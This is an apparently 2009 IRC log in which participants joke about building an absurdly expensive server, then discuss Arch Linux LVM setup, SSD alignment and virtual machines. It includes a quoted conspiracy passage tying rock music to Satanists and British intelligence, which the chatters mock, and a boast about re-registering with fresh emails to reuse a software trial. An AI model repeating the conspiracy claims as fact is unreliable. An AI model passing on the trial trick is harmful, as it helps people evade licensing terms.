waste money 19:31:45 more interesting if you have to consider performance 19:31:51 Technically, it's a RAID card, but it can be used for JBOD. 19:32:40 Time for the most expensive floppy drive 19:33:13 2U is pretty good for 12 drives isn't it? 19:33:40 pikhq: do you think we should cut back on the storage? 19:33:43 It really is cheating 19:33:59 ehird: Replace those with those 2TB SATA drives. 19:34:11 2TB drives aren't expensive 19:34:11 We can at least have really silly stats while cutting back. 19:34:12 ;) 19:34:19 "Cutting back". 19:34:20 I know. 19:34:23 pikhq: I think we should avoid spending much on storage 19:34:30 $44k just on drives doesn't take any skill 19:34:33 you can get more expensive hard drives than the x25-e anyway 19:34:41 also, priciest internal floppy is $7.99 so meh 19:34:45 OK, let's cut back on storage. 19:34:47 We still want the RAID cards. 19:34:50 I think. 19:35:01 So we'll go for the most expensive non-solid-state drive. 19:35:01 -!- MizardX has joined. 19:35:14 Hopefully that should only add a few thousand. 19:35:18 2TB SAS card I think. 19:35:34 4 per RAID card, and the onboard SATA wouldn't be used... 19:35:38 * ehird picks regular SATA drives. 19:35:41 http://www.newegg.com/Product/Product.aspx?Item=N82E16816102113 19:35:47 XD 19:35:51 STOP LINKING TO IT bsmntbombdood 19:35:55 Storage is cheating. :P 19:35:58 that's a different one! 19:36:12 pikhq: 2TB regular speed drive, or 300GB 10k RPM drive. The latter is a velociraptor. 19:36:15 I say the latter, because: 19:36:18 It's still big. 19:36:21 10k fucking RPM is loud. 19:36:21 And. 19:36:24 We'll need. 19:36:28 A fucking. Lot. 19:36:29 Of... 19:36:32 HARD DRIVE FANS. 19:36:34 pikhq: y/n 19:36:37 $229.99 a pop 19:36:53 That's $13,339.42 in storage. 19:37:12 pikhq: I think we'll need a fan per every 2 harddrives. We are putting these under load, right? 19:37:22 Yeah. 19:37:30 300GB 10k drive. 19:37:33 :D 19:37:57 $29.99 for a hard drive enclosure 19:38:00 But we want fans too 19:38:38 http://www.newegg.com/Product/Product.aspx?Item=N82E16822332012 19:38:43 pikhq: $22.99 for the most expensive HD cooler with a fan 19:38:46 i thought you could find an hdd more expensive than that 19:38:51 $29.99 for the most expensive full stop, so not a big loss 19:38:54 and it has a FAN! 19:38:58 And it's ADJUSTABLE! 19:39:17 pikhq: $1,333.42 on harddrive cooling. 19:39:20 Whoo... 19:39:35 http://www.newegg.com/Product/Product.aspx?Item=N82E16817122110 19:39:57 pikhq: I'm going to find the most expensive, highest-voltage power supplies. 19:39:58 Two of them. 19:39:59 Or more. 19:40:04 Actually, yeah, more. 19:40:10 pikhq: Uh... issue./ 19:40:16 58 harddrives. They need power. 19:40:22 How many can one power supply do? 19:40:23 :-P 19:40:28 We will need an awful lot of power supplies. 19:40:29 Don't forget UPSs 19:40:33 pikhq: Wanna cut back on storage? 19:40:37 As in, actually less drives? :-P 19:40:45 So we can actually get this thing to POST 19:41:00 Oh. My. God. 19:41:03 iStarUSA IS-2000R4H1UP 2000W Redundant 1U Server Power Supply - Retail 19:41:03 lol, it's going to be hard to power 19:41:06 $1,285.99 19:41:14 You were saying? 19:41:25 pikhq: ... even so... 19:41:30 We need a bunch to power 58 drives. 19:41:33 As in, it won't fit in a case. 19:41:34 I guess we're getting the 10U rack case? :p 19:41:39 Fuck, I mean, 58 drives won't fit in a fucking case. 19:41:40 But. Um/ 19:41:41 you are going to have trouble getting the psu physically close enough to the drives 19:41:46 bsmntbombdood: Exactly! 19:41:51 We need less drives, pikhq. 19:42:00 you need one of the rackmount drive bays! 19:42:07 We need less drives too. 19:42:08 it's the only practical way to do it 19:42:12 http://www.newegg.com/Product/Product.aspx?Item=N82E16817147073 19:42:17 no, you don't need to cut down on drives 19:42:18 This thing doesn't seem to have many ports 19:42:26 bsmntbombdood: Bah. 19:42:31 bsmntbombdood: Give us a rackmount drive bay then. 19:42:35 None of that tricky RAID stuff. 19:42:37 We've handled that. 19:42:59 ehird: I'm searching for cases. 19:43:01 how much did you spend on it? 19:43:03 pikhq: noo! 19:43:04 i want to :-P 19:43:11 bsmntbombdood: $3,199 in RAID cards. 19:43:16 Well, $139.99 extra 19:43:20 For the bluray adapter RAID card thing 19:43:28 ehird: those raid bays are $4,500 each 19:43:29 pikhq: Srsly, I can find a case. :-P 19:43:34 and you need several of them 19:43:35 so yeah 19:43:41 more expensive 19:43:47 bsmntbombdood: ... hmm. We can do that later. 19:43:50 Huh. There's *actually* 9U cases. 19:44:10 One. 19:44:11 ehird, total cost so far? 19:44:15 and what about the case 19:44:16 AnMaster: $thousands 19:44:18 http://www.newegg.com/Product/Product.aspx?Item=N82E16811165161 19:44:19 Our case. 19:44:27 Does it come with case fans? 19:44:29 We need case fans. 19:44:40 ehird, sure the case is large enough? 19:44:46 for all those 58 harddrives 19:44:49 AnMaster: We're putting the drives in external RAID rack mounts. 19:44:53 ah 19:44:59 Apart from the 10 for the SATA/IDE. 19:45:03 ehird, that isn't "one unit" thing for one computer then 19:45:05 :P 19:45:07 I'm sure we can fit 10 + an adapter. 19:45:08 AnMaster: stfu 19:45:13 shouldn't it be a rackmount case? 19:45:19 bsmntbombdood: hell no! 19:45:21 4-post racks are expensive 19:45:22 think of how heavy this will be 19:46:21 ehird, the case is too small I think. And how would you mount the mobo in it 19:46:29 It's not too small! 19:46:42 A 4U rackmount case alone can handle 24 disks. 19:46:48 ehird, checked dimensions? 19:46:49 It's just 8 CPUs, some RAM, some RAM fans, some gigantic CPU fans and heatsinks and 10 drives. 19:46:59 And they hotswap. 19:46:59 AnMaster: 35" x 24" x 23" 19:47:02 AnMaster: Bitch. 19:47:04 ehird, and the board? 19:47:12 Dude. 19:47:15 How big do you think mobos are? 19:47:18 damn, the biggest rackmount cases newegg has are 4u 19:47:24 ehird, I don't know in inches 19:47:24 It's 16" x 13" 19:47:34 cm makes more sense 19:47:36 AnMaster: it's 19:47:48 AnMaster: the case is 88cm x 60cm x 58cm 19:48:05 ehird, I just can't estimate distances in inches 19:48:10 so that is why I asked 19:48:17 AnMaster: Yeah. But. That's big, okay? :P 19:48:24 yes it is 19:48:33 88 cm wide? deep? high? 19:48:41 ... 19:48:55 that case is too cheep 19:48:57 http://www.newegg.com/Product/Product.aspx?Item=N82E16811152124 19:49:01 even that is more expensive 19:49:01 http://www.newegg.com/Product/Product.aspx?Item=N82E16811165161 says "Dimensions 35.44" x 24.22" x 23.63""? 19:49:03 err 19:49:07 bsmntbombdood: We need something we can fit shit in. 19:49:07 hm 19:49:08 -!- oklopol has joined. 19:49:08 right 19:49:09 -!- Gracenotes has quit (Remote closed the connection). 19:49:16 I misread that 19:49:50 lol, that 9u case is _insulated_ 19:49:51 lofl 19:49:55 haha 19:50:03 bsmntbombdood: it doesn't matter if our computer burns 19:50:08 as long as it gives the POST beep, we've won 19:50:22 no 19:50:25 that's retarded 19:50:30 no it's not 19:50:31 taht's our goal 19:50:55 -!- okloduk has joined. 19:53:27 -!- okloduk has quit (Read error: 54 (Connection reset by peer)). 19:53:51 -!- okloduk has joined. 19:54:26 I think we're done here. 19:54:38 Well, yeah. We could go further but I've lost interest :P 19:54:47 $80,000 is enough. :p 19:55:44 and there is absolutely no practical use for this system 19:55:52 Tomorrow I think we should go for "most powerful gaming computer ever". Then post a sale for it on an overclocking forum... plus a markup of a few hundred dollars. 19:55:56 Watch the purchases roll in. 19:56:00 Be in the money. 19:56:19 LMAO 19:56:31 bsmntbombdood: Yes there is. 19:56:35 Stick Xen on it. 19:56:40 Simulate a cluster. 19:56:41 :p 19:56:46 lawl 19:56:47 nope 19:57:12 pikhq: cheaper to buy a cluster 19:57:18 True. 19:57:27 But significantly less impressive and noisy. 19:57:28 you wont' be able to utilize all those drives 19:57:45 bsmntbombdood, I beg to differ. 19:57:52 Blu-Ray disk *dumps*. 19:57:58 ;) 19:58:00 bsmntbombdood: Dude, it's just 16TB. 19:58:11 bsmntbombdood: You could get a bloody porn collection that big, easy. :P 19:58:14 Yes, bloody porn. 19:58:19 i don't mean the size 19:58:47 bsmntbombdood: watch 58 vids from the porn collection without buffering all at once. 19:58:48 duh 19:58:52 SPEED 19:59:02 ehird: Blu-ray vids. 19:59:07 Yes. 19:59:09 Blu-ray porn dumps. 19:59:30 Compile Gentoo in an hour. 19:59:32 you won't be able to get the full speed capable 19:59:44 with 4 processors and a single mobo 19:59:58 you need to split that up over multiple servers 19:59:59 8 chips. 20:00:11 And you underestimate how freaking speedy Hypertransport is. :p 20:00:12 I'd say the buses are the bottleneck 20:00:27 Though, yeah, at this point HT is actually a bottleneck. 20:00:35 (and that's actually damned impressive) 20:00:59 Hmm. 20:01:02 What are the drives attached to? 20:01:03 Do the Opterons do hyperthreading? 20:01:09 Deewiant: SATA, IDE, and various RAIDs. 20:01:10 No, hyperthreading is an Intel thing. 20:01:12 Two RAIDs, that is. 20:01:14 No. They do more CPUs. 20:01:34 ehird: What is "a RAID" and what is it attached to 20:01:35 I would guess you can't saturate the whole hypertransport bus with just two PCIe 8x cards. 20:01:44 A PCIe raid card, Deewiant. 20:01:46 Two of them. 20:01:51 Hmm. 20:01:54 That's 2*2000 MB/s in one direction. 20:02:05 Deewiant: around $3k in total I think 20:02:07 There's also the onboard SATA. 20:02:11 Which I doubt is in the northbridge. 20:02:45 How many drives per card? 20:03:04 Since they're SAS cards driving SATA cards... A lot. 20:03:15 16, I think? 20:03:16 Enough to saturate the PCI-E bus? 20:03:19 Deewiant: 24. 20:03:31 Deewiant: If I remember the model right. Six four-port interfaces. 20:03:43 Those PCIe cards are on a PCIe 4x slot. 20:03:50 (physically 16x). 20:03:57 Wasn't it 8x? 20:04:14 No, the motherboards only offer 4x on those two slots. 20:04:16 Well, I haven't been following very closely. 20:04:21 Oh, okay. 20:04:27 (the 16x slots are being used for hypertransport) 20:04:29 That's only a GB/s then. 20:04:40 24 drives will saturate that easily. 20:04:47 Well, then you definitely can't fill the whole hypertransport bus with disk activity. 20:05:08 Because the PCIe bus will be filled instead. 20:05:18 Yes. 20:05:23 :D 20:06:38 ./../include/mat_inc_d.H:13:22: error: iostream.h: No such file or directory 20:06:38 This is some annoyingly old code, I guess. Does removing "-pedantic" let it even a modern GCC find the silly " automagically imports std::" versions of C++ headers? 20:07:08 :-( 20:07:11 lvcreate's failing 20:07:34 Ah, wait 20:07:39 I seem not to have device-mapper. 20:07:45 I wonder if I need to modprobe something 20:07:53 modprobe device-mapper 20:08:02 pikhq: Apparently I don't have that module. 20:08:05 This is on a LiveCD. 20:08:09 Hmm. 20:08:12 I'm trying to set up an LVM setup to install to. 20:08:13 fizzie: Googling for that just finds people complaining about why their Hello world doesn't compile, and people telling them to use "using namespace std". 20:08:16 I wonder if it is in a package. 20:08:18 That's "dm_mod". 20:08:24 Ah. 20:08:25 That works. 20:08:35 LVM: so intuitive it's unintuitive 20:08:42 Didn't realise; I've got the DM modules compiled in. 20:09:02 fizzie: What do you need to do to have that loaded every time on bootup? I forget the file. 20:09:09 (easier than futzing with the initramfs to only have the modules I need to boot) 20:09:37 -!- oklopol has quit (Read error: 110 (Connection timed out)). 20:10:06 You can put "dm_mod" in /etc/modules, that works in many systems. Although I guess it should be automagically loaded by udev or something; I've certainly never had to manually modprobe it. (Though maybe it autoloads only if it finds LVM volumes or something.) 20:10:13 Yay, I have /dev/sda1 = /boot and /dev/sda2 = physical volume of /dev/osdrive with /dev/osdrive/root, /dev/osdrive/home 20:10:20 fizzie, my root filesystem is on LVM. 20:10:33 Ah. 20:10:33 pikhq: So is mine. 20:10:39 Although, I will probably ... hm. 20:10:39 Wait. 20:10:47 Then putting dm_mod in /etc/modules does nothing. 20:10:50 On my real SSD, I'll only have /boot and a physical volume of /dev/osdrive containing /dev/osdrive/root. 20:10:54 Do I actually need LVM for that? 20:11:02 The guide here suggests so 20:11:15 ehird: No, but LVM is sexy. 20:11:29 pikhq: http://thunk.org/tytso/blog/2009/02/20/aligning-filesystems-to-an-ssds-erase-block-size/ 20:11:37 It really seems to imply that LVM is needed to do the alignment. 20:11:38 Live migration of disks = Mmm. 20:11:56 Hmm. 20:12:11 This thing is going to be horribly slow; putting SSD-tuned settings into a VM writing to a mechanical HD :-) 20:12:41 * ehird creates ext4 filesystems on the two osdrive things. 20:12:55 pikhq: what do you think I should use for my 1gb /boot? 20:12:56 ext2? :-P 20:13:00 1 GB? 20:13:01 I don't exactly need journaling on it 20:13:06 Sure that's enough? 20:13:06 Deewiant: it's what the blog post has 20:13:16 Doesn't mean it's a good idea :-P 20:13:18 Good enough for Theodore Ts'o, good enough for me. ;-) 20:13:24 ext3. 20:13:34 pikhq: What does journaling buy me on /boot? 20:13:35 Don't need it, but it's a good idea. 20:13:36 *shrug* 20:13:37 Kernel developers probably have good reason to have a big /boot. 20:13:43 Deewiant: True 'dat. 20:13:51 Although I still think that's excessive. :-P 20:14:00 ehird: If you're writing to it when you crash, you haven't fucked it up. 20:14:04 ;) 20:14:24 Heck, mount that sucker with ordered; /boot is something you really don't want going. 20:14:40 /boot isn't very vital. 20:14:52 Can't boot? Stick in livecd, put kernel on there. 20:14:53 Kind of sucks to find it broken when you reboot. 20:15:03 Sure, I'm just saying it's not valuable 20:15:09 -!- okloduk has quit (Read error: 110 (Connection timed out)). 20:15:16 I wonder if the "stripe-width=32" will do anything on the olde-style-aligned /boot. 20:15:18 It's not performance-sensitive either 20:15:23 So there's no point in not journaling 20:15:28 Deewiant: Oh but there is. 20:15:30 Less writes to the SSD. 20:15:37 Admittedly, that's barely anything :-) 20:15:40 I wouldn't worry about that. 20:15:47 Thinking that way will just get you into trouble :-P 20:15:51 I'll omit stripe-width. It's just /boot. 20:15:54 Deewiant: Yeah, totally. 20:16:01 I need to keep reminding myself that it's a fuckin' drive, it'll last years dammit. 20:16:12 Worst case, SECURE ERASE the bugger and copy contents back on. 20:16:18 Just so long as you don't have swap on it. 20:16:29 pikhq: I'm gonna have 12GB of RAM. No swap for me. 20:16:36 Goodie. 20:16:44 ehird: Besides, SSDs are supposed to be better with SMART and such, knowing much more precisely when they're going to break. 20:16:55 I don't know if that's the case in practice yet, though. 20:16:58 It'd _slow_ me down... on the SSD, contribute to further wear and tear. On the mechanical HD? Iiiiiiiiiiiiiii'll geeeeeeeeeettt baccccccccccccck tooooooooooo yoooooooooooooouuuuuuuuuuuuuu. 20:17:05 And their failure mode consists of "Uh, you can't write there." 20:17:10 Yep. 20:17:14 SSDs are really resilient. 20:17:49 Depends on the firmware, I guess. 20:17:53 OK, /arch/setup time. 20:18:02 I have this on-a-compact-flash-card system, and I haven't even bothered to think about anything flash-specific on it, even though the write-cycle-handling thing is probably something really really primitive compared to an actual "SSD drive" type of product. (Well, except putting everything that's going to be written more often than daily into tmpfs.) 20:18:11 Deewiant: That's assuming that you're completely out of write cycles. 20:18:27 fizzie: Pfft, I'm going to have lots of stuff being written on /. 20:18:35 Everything but /tmp and /home/ehird/media, probably. 20:18:48 Probably, linux will have fully working TRIM support when I get this. 20:18:51 So it won't be a big deal. 20:20:45 ^_^, the Arch install program let me make the LVM setup just fine. 20:21:01 I'll have to manually edit fstab for /tmp, ofc. 20:21:10 But not on this install. 20:21:28 AnMaster: you said you need a guide for LVM? 20:21:31 shit was easy. 20:22:54 Heh, my HD isn't liking this alignment stuff it's doing. 20:23:00 Krrrrrrrrrrrrrrrnkcluckcluckcluck. 20:23:26 The alignment stuff is for SSDs. ;) 20:23:31 No duh. 20:23:32 (or RAIDs) 20:23:33 This is practice ;-) 20:23:38 In a VM. 20:23:45 ;) 20:23:48 But the HD backing the VM storage isn't liking its antics. 20:24:06 -!- oklopol has joined. 20:24:44 Unsurprisingly, doing SSD alignment on an HD isn't very smart :-P 20:25:00 It's not going to hurt anything, I imagine. Just be slow... which the VM already is, right? 20:25:19 I doubt my HD is the bottleneck 20:28:37 -!- jix has joined. 20:30:23 back 20:30:33 ehird, depends on what you do with it exactly 20:31:24 http://station-mir.ginnungagap.in.ua/fb2.png ← Thus proving that all tiling WM users really just want a framebuffer console. 20:32:32 ehird, if there was a good framebuffer web browser, I would use a framebuffer console. ;p 20:32:40 pikhq: elinks 20:32:49 pikhq: you can even make it display graphics iirc 20:33:10 elinks doesn't do framebuffer. 20:33:16 That would be Links2. 20:33:23 just run it as a normal console app? 20:33:23 Which doesn't even support CSS2. 20:33:34 Then it doesn't handle graphics. 20:33:48 Or complex Javascript. 20:33:51 pikhq: just add a handler to run a framebuffer graphcis display when you choose an image 20:34:00 and sheesh, that's not very framebuffer 20:34:05 What I run currently is based on Gecko. 20:34:11 WebKit ftw 20:34:19 "Not very framebuffer"... 20:34:19 Uh... 20:34:56 I guess it's not very "graphical" either. 20:35:16 For the longest time I used a framebuffer console for just about anything; I guess the web going so multimedia was the major issue. 20:35:58 There's also the bit about my graphics card not handling widescreen via VESA. 20:36:00 Hooray for WMs and graphics and mice. 20:36:10 I guess you could theoretically speaking run Firefox or something using the directfb GTK backend. 20:36:20 But then you're replacing X. 20:36:28 For no good reason. 20:36:54 pikhq: Apart from X sucking, you mean. 20:37:03 Well, only for the web-browser, and at least switching between the console and the "fake-X" would be faster. 20:37:41 Hmm. Arch seems to build its own kernel except with a binary. 20:37:42 Admittedly my framebuffer-console-using days were back when my display hardware was a Matrox G400 card, which worked pretty nicely with matroxfb; I certainly wouldn't want to be stuck with vesafb. 20:38:07 (Also mplayer had that G400-specific video acceleration, obviating the need for Xv.) 20:38:39 Well, Gxxx-specific, anyway. It wasn't just the 400. 20:38:45 Really, the main reason not to use the framebuffer aside from multimedia web stuff is vesa-fb sucks. 20:38:46 -!- Judofyr has quit (Read error: 60 (Operation timed out)). 20:38:48 ;) 20:39:00 And because non graphical environments suck. 20:39:12 ehird, you're just dumb. 20:39:17 Thanks. :) 20:40:02 Deewiant: Hey, they're bringing Scheme back: http://www.cs.hut.fi/~scheme/course-description.html 20:40:04 Also, a framebuffer is very much a graphical environment. 20:40:19 That's nice. 20:40:19 It's a bad graphical environment. 20:40:20 It's just not an exceptionally complex one. 20:40:24 That is mostly used for text. 20:40:36 Lilja's there, unsurprisingly; he's a Haskell guy 20:40:38 -!- Judofyr has joined. 20:41:04 OK, GNU/Arch/LVM/FakeSSD/BSDinit/ls/cp/RichardStallman'sBlood bootup is go. 20:41:05 Which might explain why lazy evaluation is explicitly a goal, too 20:41:19 Aaaand it work... 20:41:23 ... No. No it did not. 20:41:34 Hmm, I wonder if I'll register for that 20:41:35 It cannot find ze /dev/mapper/osdrive-root. 20:41:41 fizzie: What's the file thing? modprobe? 20:41:45 Deewiant: Well, laziness is in "latter part of SICP" too. 20:41:59 Ha. Ha. Ha. The kernel rescue ramfs console has no ls. 20:42:01 ehird: If your root is on LVM, it's the initrd's responsibility for getting things loaded. 20:42:05 Has cat though! 20:42:19 fizzie: And it failed. It don't know shit about no /dev/mapper/blah. 20:42:33 Well, I don't know. If it's some Arch thing, then I definitely don't know. 20:42:51 I don't even know about Debian's initrd, since mkinitramfs or whatever has always built me a working one. 20:42:53 I think it's just... Linux. :-P 20:43:00 pvscan 20:43:08 No, the initrd contents are very distro-specific. 20:43:19 I should probably boot up the live cd. 20:43:19 Or at least somewhat distro-specific. 20:43:31 fizzie: Debian's initrd has LVM stuff in it. 20:43:35 pikhq: no pvscan on the ramfs 20:43:39 maybe I should googol 20:43:45 And Gentoo requires you to use genkernel --do-lvm 20:43:47 pikhq: Yes, so I've assumed, since it works. 20:43:50 -!- oklopol has quit (Read error: 104 (Connection reset by peer)). 20:43:56 Ah. :) 20:43:58 ehird: Yeah. 20:44:23 pikhq: after reading that ssd alignment article, do you think LVM is needed? It seems to be but I can't figure out why 20:44:29 -!- oklopol has joined. 20:44:35 Not really. 20:44:43 But LVM is sexy. :p 20:44:54 I want to avoid it unless I need it for alignment :P 20:44:59 Maybe I'll ask tedts'o. 20:50:09 hmm 20:50:18 pikhq: the X25-M assumes 20GB of writes a day 20:50:28 if you go over that it enables some sort of slowing down thing to extend its life 20:50:37 but 20:50:42 i can't imagine many people actually write over 20gb/day... 20:51:07 And "slowing down" probably means "only 50 times faster than an avergae HD" 20:51:09 s/gae/age/ 20:51:14 Yeah :P 20:52:45 HI THERE YOU RIGHT ABOUT THE BLOCK SIZE I DONT KNOW ANY THING ANY THING ABOUT ERASING A BLOCK BECAUSE LESS BLOCKS SHORTANS THE SSD OR FLASH MEMORY SOO THE SSD AND FLASH MEMORY NOW ARE USEING 1 MB TOO 4 MB BLOCKS NOT THE OTHER WAY AROUD AND BESIDES THE SSD AND FLASH MEMORY CAN LAST OVER 150 YEARS AT 24 7 OPERATION THE FUTURE SSD AND FLASH MEMORY MAY HAVE INFINT READ WRITE 20:52:48 — a comment 20:53:46 First, there's a key just to the left of the "a" key. Hit it. Second, here's a 1st grade basic spelling book. 20:54:07 And, hell, just to cover everything, here's a grammar textbook, too. 20:54:08 ;) 20:54:41 pikhq: Try rapping that comment. It's designed for it, I mean "ANY THING ANY THING"? "SOO"? 20:54:44 That's so filler to fit beats. 20:54:51 LMAO 20:54:52 HI THERE! YOU RIGHT ABOUT THE BLOCK SIZE 20:54:53 I DONT 20:54:58 KNOW ANYTHING ANYTHING 20:55:05 Obviously, it's meant to be yelled. 20:55:06 ABOUT ERASING A BLOCK BECAUSE... 20:55:08 [chorus] 20:55:17 LESS BLOCKS SHORTANS THE SSD OR FLASH 20:55:21 MEMORY SOO THE SSD AND FLASH MEMORY 20:55:26 NOW, ARE USEING 1 MB TOO 20:55:31 4 MB BLOCKS -- NOT THE OTHER WAY 20:55:33 [verse] 20:55:36 AROUND, AND, BESIDES 20:55:39 THE SSD AND FLASH MEMORY CAN LAST 20:55:40 :) 20:55:43 OVER 150 YEARS AT 24 7 OPERATION 20:55:50 THE FUTURE SSD AND FLASH 20:55:53 MEMORY MAY HAVE INFINITE WRITE 20:55:56 [repeat chorus] 20:56:00 It's the SSD Cube Rap. 20:56:11 Like the time cube? 20:56:12 ehird: that's not INFINITE but INFINT. 20:56:15 Exactly, pikhq. 20:56:17 lifthrasiir: Right you are. 20:56:23 :) 20:57:46 INFINT is the int-typed constant for the +inf float value. 20:57:54 :D 20:57:58 So infint write life? 20:58:00 That's a lot of writes. 20:58:06 Well. 20:58:11 fizzie: how do you get +inf in C, again? 20:58:15 It's like MAXINT, only bigger. 20:58:23 as a float 20:58:27 -!- Judofyr has quit (Read error: 110 (Connection timed out)). 20:58:37 1.0f/0? 20:58:42 * pikhq notes that Gene Ray, Doctor of Cubic has gone racist of late 20:58:45 1e99999? 20:58:56 Deewiant: So int infint = (int)(1.0f/0); 20:58:57 Deewiant: That's NAN, not +inf. 20:58:58 pikhq: oh? 20:59:03 pikhq: you sure? 20:59:03 pikhq: Incorrect. 20:59:07 0/0 is NaN. 20:59:11 -!- tombom_ has joined. 20:59:13 There's the macro INFINITY in . 20:59:14 1/0 is +inf, -1/0 is -inf. 20:59:22 Deewiant: how about 1/-0? 20:59:22 Oh, really? 20:59:27 lifthrasiir: -inf. 20:59:30 * pikhq shakes a fist at floats 20:59:47 [ehird:~] % cc -x c /dev/stdin 20:59:47 int main(void){printf("%i\n",(int)(1.0f/0));return 0;} 20:59:49 /dev/stdin: In function ‘main’: 20:59:49 hmm, so +0 and -0 separates in that cases 20:59:51 those* 20:59:51 /dev/stdin:1: warning: incompatible implicit declaration of built-in function ‘printf’ 20:59:53 /dev/stdin:1: warning: division by zero 20:59:55 [ehird:~] % ./a.out 20:59:57 2147483647 20:59:59 So in the future, SSD & flash memory will be able to handle 2147483647 writes. 21:00:01 Assuming 32-bit. 21:00:14 :-P 21:00:18 Why signed? 21:00:27 INFINT. 21:00:29 Not INFUINT. 21:00:34 :-P 21:01:08 -!- tombom_ has quit (Client Quit). 21:01:48 M' sxat'. 21:01:52 Anyone used vmware? 21:01:59 Actually "INFINITE" is defined rather funnily in C99: it expands to (float-typed) constant expression "representing positive or unsigned infinity, if available"; if there is no infinity, it expands to a float constant that overflows at translation time, and therefore forces a diagnostic. 21:02:02 Yuh. 21:02:19 pikhq: How are its linux-guest video drivers etc? 21:02:30 Parallels' don't install, I've had flakiness with VirtualBox's. 21:02:37 Not bad, though I don't recall them handling 3D. 21:03:08 pikhq: Do you think they could handle the latest kernel and Xorg and etc? :P 21:03:08 IIRC, VMware's video drivers are part of X. 21:03:14 Yeah. 21:03:21 Part of X. ;) 21:03:36 Hey, that's nice. 21:03:45 pikhq: do you still have to pay for the version that lets you OMG CREATE YOUR OWN VM? 21:03:58 Yeah, but you can get a 30-day free trial for that. 21:04:09 And after that, you can use the player. 21:04:12 Hee. 21:04:25 pikhq: with Parallels you just had to give a unique email address and reactivate 21:04:29 Yes, I noticed Debian installing a xserver-xorg-video-vmware (as a part of xserver-xorg-video metapackage) recentlyish. 21:04:33 penguinofthegods+youreallfuckingmorons@gmail.com, yum. 21:05:14 ehird: :) 21:05:33 VMware server is also sort-of freewareish, and it can create VMs. I'm not quite sure what it lacks; probably quite a lot on the GUI and graphics-emulation side. 21:05:56 Uhhh. You can't get VMWare Workstation for OS X. 21:06:06 (I also have no idea whether you can run vmware-server-created VMs with the player.) 21:06:38 fizzie: vmware server wants 5 billion personal details from me >_< 21:06:42 Maybe I'll try qemu. 21:06:48 It can emulate regular vga 21:07:22 Qemu emulates the VMware SVGA "card". 21:07:43 "-vga type: "vmware" VMWare SVGA-II compatible adapter. Use it if you have sufficiently recent XFree86/XOrg server or Windows guest with a driver for this card." 21:08:03 It also emulates a Cirrus noname card, which I use. 21:08:08 Also, goddamn qemu is slow :-) 21:08:13 That, too. 21:08:22 qemu is actually doing emulation. 21:08:36 Is there kqemu for OS X? 21:08:59 "preliminary ports to FreeBSD and MS Windows". 21:09:00 Apparently not. 21:09:07 And no KVM either, of course. 21:09:14 Beh I 21:09:16 'll try virtualbox 21:09:33 User Mode Linux would be the fastest way to have a linux VM, I think. 21:09:43 Doesn't it just patch up the kernel so it can be run as a userspace executable? 21:09:52 At least that's what the name implies to me it should do. 21:10:48 Pretty much, yes. But it's a bit rough around the edges. I used UML for my virtual web-server before switching to Xen. 21:11:03 Why would you virtualize your own server? 21:11:19 Mm, VirtualBox is fast. 21:11:34 So that it's easier to play with snapshots and restoration and things like that. 21:11:44 On a webserver? :P 21:12:09 God damn VirtualBox is fast 21:12:29 Yes; the web server was a single LVM logical-volume snapshot, so I could just discard it if it went bad. 21:13:23 VirtualBox uses hardware virtualisation. 21:13:45 Of course it's fast. ;) 21:14:01 So does Parallels. 21:14:04 Debian has a "virtualbox-ose-guest-x11" package if you want to run Linux+X guest in the VM; I'm not sure what other distributions include it too. I guess it does improve the integration a bit. 21:14:04 But virtualbox is faster. 21:14:14 Yes, it does improve it a lot 21:14:28 Why didn't I try Arch before? I love it 21:15:28 -!- tombom has quit (Read error: 110 (Connection timed out)). 21:17:05 Modern electronic-rock music, inaugurated in the early 1960s, is, and always has been, a joint enterprise of British military intelligence and Satanic cults. On the one side, the Satanists control the major rock groups through drugs, sex, threats of violence, and even murder. On the other side, publicity, tours, and recordings are financed by record companies connected to British military intelligence circles. Both sides are intimately entwined with the 21:17:08 biggest business in the world, the international drug trade. 21:20:06 ehird: Oooh, link? 21:20:12 http://www.jesus-is-savior.com/Miscellaneous/satanic_roots_of_rock.htm 21:20:15 Incidentally, can you do flock(2) advisory-locking on a filehandle that's actually an open(2)ed directory? I don't quite see why not, but I've been surprised before. 21:20:37 pikhq: "Clearly, the Beatles' album was dedicated to Satanist Aleister Crowley (pictured to left). It was released 20 years, nearly to the day, after Crowley's death in 1947, and its title song began with the lyrics, "It was twenty years ago today..." The album's cover featured a picture of Crowley." 21:20:46 http://station-mir.ginnungagap.in.ua/fb2.png ← Thus proving that all tiling WM users really just want a framebuffer console. <-- wow, url for download? 21:21:04 AnMaster: dvtm 21:21:06 * pikhq finds that hilarious 21:21:08 * AnMaster googles 21:21:09 http://www.brain-dump.org/projects/dvtm/ 21:21:18 AnMaster: to do the multi-split thing you have to put a dvtm in a dvtm 21:21:22 so you can tile while you tile 21:21:38 ... Beatles. Picture of innocence. 21:21:42 WARNING: MEME DETECTED! EVACUATE CHANNEL! 21:21:57 "I am the Walrus". Need I say more? 21:22:15 Ubuntu's new screen-profiles thing looks rather curious; ran into it when testing a diskless husk of a computer with Ubuntu live-cd-on-a-USB-stick. 21:22:19 I am the Walrus, whereby "am" I mean "take" and "the Walrus" I mean "heroin". 21:22:32 -!- Hiato has quit ("Leaving."). 21:22:37 Also, "simple little tunes". 21:22:44 *Someone's* only listened to one album. 21:23:29 And... Wow. Claiming that the Beatle's popularity was a hoax? 21:23:32 tomorrow never knows is the most simple tune ever 21:23:34 totally 21:23:35 Someone cranked the crazy up to 11. 21:24:09 Up to X11. (Because that's obviously the pinnacle of crazy.) 21:24:25 i agree 21:24:59 Also, they claim Sgt. Pepper's Lonely Hearts Club Band was dedicated to the promotion of psychedelic drugs. 21:25:20 Wrong album; that would be just about every late-career album *but* that one. 21:25:33 :-D 21:25:58 Sgt. Pepper's was merely dedicated to pschedelic rock. 21:26:07 s/psch/psych/ 21:26:47 dvtm is just wow 21:26:47 :D 21:27:50 Also, LSD was 100% legal at the time. :p 21:28:11 (made illegal in '67 or '68...) 21:28:46 Late '66, rather. 21:28:56 ( 21:28:59 '71 for the UK) 21:31:40 AnMaster: you should have forced me to get arch working, dammit :-D 21:31:50 ehird, didn't you get it working? 21:31:57 I did. 21:31:59 I meant earlier. 21:32:05 It's a ruddy good distro. 21:32:18 ehird, why? Then you would have hated it because I forced you to do it I bet ;P 21:33:10 True :P 21:33:24 But seriously, it's nice. 21:33:30 They should totally use apt though/ 21:33:34 err 21:33:35 s/\/$// 21:33:48 I only ever had one issue with it's package manager. 21:33:55 I haven't had any. 21:33:57 I just like apt ;-) 21:33:59 good :) 21:34:08 I think they fixed it 21:34:11 Although pacman's probably second-best. 21:34:12 Every binary distro should use apt; it's freaking awesome. 21:35:00 Especially with such features as debootstrap... 